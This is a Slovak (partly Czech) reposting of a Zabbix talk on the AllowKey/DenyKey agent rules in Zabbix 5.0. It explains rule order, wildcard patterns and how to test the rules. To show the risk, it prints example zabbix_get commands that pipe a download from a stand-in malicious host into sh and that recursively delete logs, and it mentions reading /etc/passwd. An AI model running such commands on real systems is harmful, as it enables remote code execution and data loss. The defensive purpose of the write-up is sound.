Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Podpora čiernych a bielych zoznamov pre metriky na strane agenta

Tikhon Uskov, Inžinier integrácie, Zabbix

Problémy s bezpečnosťou údajov

V Zabbix 5.0 sa objavila nová funkcia, ktorá umožňuje zlepšiť bezpečnosť v systémoch s použitím Zabbix Agenta a nahrádza starý parameter EnableRemoteCommands.

Vylepšenie bezpečnosti systémov s použitím agenta je spôsobené tým, že agent môže vykonávať množstvo potenciálne nebezpečných akcií.

  • Agent môže zhromažďovať prakticky akékoľvek informácie, vrátane dôverných alebo potenciálne nebezpečných údajov, z konfiguračných súborov, súborov protokolu, súborov s heslami alebo akýchkoľvek iných súborov.

Napríklad pomocou nástroja zabbix_get je možné získať prístup k zoznamu používateľov, ich domovským adresárom, súborom s heslami atď.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Prístup k údajom pomocou nástroja zabbix_get

POZNÁMKA. Údaje môžu byť získané iba vtedy, ak má agent práva na čítanie príslušného súboru. Ale napríklad súbor /etc/passwd/ je dostupný na čítanie všetkým používateľom.

  • Agent môže tiež vykonávať potenciálne nebezpečné príkazy. Napríklad kľúč *system.run[]** umožňuje vykonávať akékoľvek vzdialené príkazy na uzloch siete, vrátane spúšťania zo webového rozhrania Zabbix skriptov, ktoré tiež vykonávajú príkazy na strane agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • V Linuxe agent predvolene beží bez práv roota, zatiaľ čo vo Windows beží ako služba v mene systému a má neobmedzený prístup k súborovému systému. Podľa toho, ak neboli po inštalácii v parametroch Zabbix Agenta vykonané zmeny, agent má prístup k registru, súborovému systému a môže vykonávať WMI dotazy.

V starších verziách parameter EnableRemoteCommands=0 umožňoval iba zakázať metriky s kľúčom *system.run[]** a vykonávanie skriptov z webového rozhrania, ale nebolo možné obmedziť prístup k jednotlivým súborom, povoliť alebo zakázať jednotlivé kľúče, ktoré boli nastavené spolu s agentom, alebo obmedziť použitie jednotlivých parametrov.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Používanie parametra EnableRemoteCommand v starších verziách Zabbix

AllowKey/DenyKey

Zabbix 5.0 pomáha chrániť pred takýmto neoprávneným prístupom vďaka bielym a čiernym zoznamom na povoľovanie a zakazovanie metrík na strane agenta.

V Zabbix 5.0 sú všetky kľúče, vrátane *system.run[]**, povolené, a byly přidány dva nové parametry konfigurace agenta:

AllowKey= — povolené kontroly;

DenyKey= — zakázané kontroly;

kde — vzor názvu klíče s parametry, ve kterém se používají metaznaky (*).

Klíče AllowKey a DenyKey umožňují povolit nebo zakázat jednotlivé metriky podle určitého vzoru. Na rozdíl od jiných parametrů konfigurace není počet parametrů AllowKey/DenyKey omezen. To umožňuje přesně určit, co agent může dělat v systému díky vytvoření stromu kontrol — prováděných klíčů, kde sehrává velmi důležitou roli pořadí jejich zápisu.

Pořadí pravidel

Pravidla jsou ověřována v tom pořadí, v jakém byla uvedena v konfiguračním souboru. Ověření klíče podle pravidel probíhá do prvního shody, a jakmile se klíč datového prvku shoduje s vzorem, je povolen nebo zakázán. Po tomto se kontrola pravidel zastaví a ostatní klíče jsou ignorovány.

Proto, pokud se prvek shoduje jak s povolujícím, tak se zakazujícím pravidlem, výsledek bude záviset na tom, které pravidlo bude první v konfiguračním souboru.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

2 různá pravidla se stejným vzorem a klíčem vfs.file.size[\tmp\file]

Pořadí používání klíčů AllowKey/DenyKey:

  1. přesná pravidla,
  2. obecná pravidla,
  3. zakazující pravidlo.

Například, pokud potřebujete přístup k souborům v určité složce, je třeba nejprve povolit přístup k nim, poté zakázat vše ostatní, co nespadá pod stanovená povolení. Pokud bude nejprve použito zakazující pravidlo, přístup do složky bude zablokován.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Správné pořadí

Pokud je nutné povolit spuštění 2 utilit pomocí *system.run[]**, a nejprve bude uvedeno zakazující pravidlo, utility nebudou spuštěny, protože první vzor vždy odpovídá jakémukoli klíči a následná pravidla budou ignorována.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Nesprávné pořadí

Vzory

Hlavné pravidlá

Vzorek — výraz s zástupnými znaky (wildcard). Metaznak (*) odpovídá libovolnému počtu libovolných symbolů na určité pozici. Metaznaky mohou být používány jak v názvu klíče, tak v parametrech. Například, lze pevně určit textem první parametr, a následující specifikovat jako wildcard.

Parametre musia byť uzavreté v hranatých zátvorkách [].

  • system.run[* — nesprávne
  • vfs.file*.txt] — nesprávne
  • vfs.file.*[*] — správne

Príklady použitia wildcard.

  1. V názve kľúča a v parametre. V tomto prípade kľúč nezhoduje s podobným kľúčom, ktorý neobsahuje parameter, pretože v vzore sme uviedli, že chceme získať nejaký koniec názvu kľúča a nejakú sadu parametrov.
  2. Ak v vzore nie sú použité hranaté zátvorky, vzor povoľuje všetky kľúče, ktoré neobsahujú parametre a zakazuje všetky kľúče s uvedeným parametrom.
  3. Ak je kľúč zapísaný celý a parametre sú uvedené ako wildcard, bude zodpovedať akémukoľvek podobnému kľúču s akýmikoľvek parametrami a nebude sa zhodovať s kľúčom bez hranatých zátvoriek, t. j. bude povolený alebo zakázaný.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Pravidlá vypĺňania parametrov.

  • Ak je predpokladané použitie kľúča s parametrami, parametre musia byť uvedené v konfiguračnom súbore. Parametre musia byť uvedené ako metaznak. Je potrebné opatrne zakazovať prístup k akémukoľvek súboru a zohľadniť, aké informácie môže metrika poskytovať pri rôznych variantoch zápisu — s parametrami a bez nich.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Osobitnosti zapisovania kľúčov s parametrami

  • Ak je kľúč uvedený s parametrami, ale parametre sú nepovinné a uvedené ako metaznak, kľúč bez parametrov bude povolený. Napríklad, ak chcete zakázať získavanie informácií o zaťažení CPU a uvádzate, že kľúč system.cpu.load[*] by mal byť zakázaný, nezabúdajte, že kľúč bez parametrov vráti priemernú hodnotu zaťaženia.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Pravidlá vypĺňania parametrov

Poznámky

Nastavenie

  • Niektoré pravidlá nemôžu byť zmenené používateľom, napríklad pravidlá objavovania (discovery) alebo automatickej registrácie agentov. Pravidlá AllowKey/DenyKey sa netýkajú nasledujúcich parametrov:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

POZNÁMKA. Ak správca zakáže akýkoľvek kľúč, pri dopyte Zabbix nezverejňuje informácie o tom, z akého dôvodu metrika alebo kľúč spadajú do kategórie ‘NOTSUPPORTED‘. V log-filech agenta informácie o zákazoch vykonávania vzdialených príkazov tiež nie sú zobrazené. To je urobené z dôvodov bezpečnosti, ale môže sťažiť ladenie, ak metriky spadajú do nepodporovanej kategórie z akýchkoľvek dôvodov..

  • Netreba sa spoliehať na nejaký konkrétny poriadok pripojenia externých konfiguračných súborov (napríklad abecedne).

Nástroje príkazového riadku

Po nastavení pravidiel je potrebné sa ubezpečiť, že je všetko správne nastavené.

Môžete využiť jednu z troch možností:

  • Pridať metriku do Zabbixu.
  • Otestovať pomocou zabbix_agentd. Zabbix agent s voľbou -print (-p) zobrazuje všetky kľúče (ktoré sú predvolene povolené), okrem tých, ktoré sú zakázané konfiguračným súborom. A s voľbou -test (-t) pre zakázaný kľúč vráti ‘Unsupported item key‘.
  • Otestovať pomocou zabbix_get. Nástroj zabbix_get s voľbou -k vráti ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Povoľovať alebo zakazovať

Môžete zakázať prístup k súboru a ubezpečiť sa, napríklad, pomocou nástroja zabbix_get, že prístup k súboru je zakázaný.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

**

POZNÁMKA. Úvodzovky v parametri sú ignorované.

Pri tom prístup k takémuto súboru môže byť povolený inou cestou. Napríklad ak naň vedie symlink.

Podpora čiernych a bielych zoznamov pre metriky na strane agenta v Zabbix 5.0

Odporúča sa overiť rôzne možnosti aplikácie zadaných pravidiel, ako aj zohľadniť možnosti obísť zákazy.

Otázky a odpovede

Otázka. Prečo bola zvolená taká zložitá schéma vzoru so svojím jazykom na opis pravidiel, povolení a zákazov? Prečo nebolo možné využiť napríklad regulárne výrazy, ktoré používa Zabbix?

Odpoveď. Toto je otázka výkonu regex, keďže agent je zvyčajne jeden a kontroluje obrovské množstvo metrík. Regex je dostatočne ťažká operácia a nemôžeme kontrolovať tisíce metrík týmto spôsobom. Wildcards sú univerzálne, široko použiteľné a jednoduché riešenie..

Otázka. Či sa nesúbory Include nepripájajú abecedne?

Odpoveď. Tak, ako mi je známe, predpovedať sekvenciu aplikovania pravidiel, ak rozdeľujete pravidlá do rôznych súborov, je prakticky nemožné. Odporúčam zhromaždiť všetky pravidlá AllowKey/DenyKey do jedného súboru Include, pretože vzájomne interagujú a pripojiť tento súbor..

Otázka. V Zabbixe 5.0 voľba ‘EnableRemoteCommands=‘ v konfiguračnom súbore chýba a sú k dispozícii len AllowKey/DenyKey?

Odpoveď. Áno, je to správne..

Ďakujem za pozornosť!

Zdroj: habr.com

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster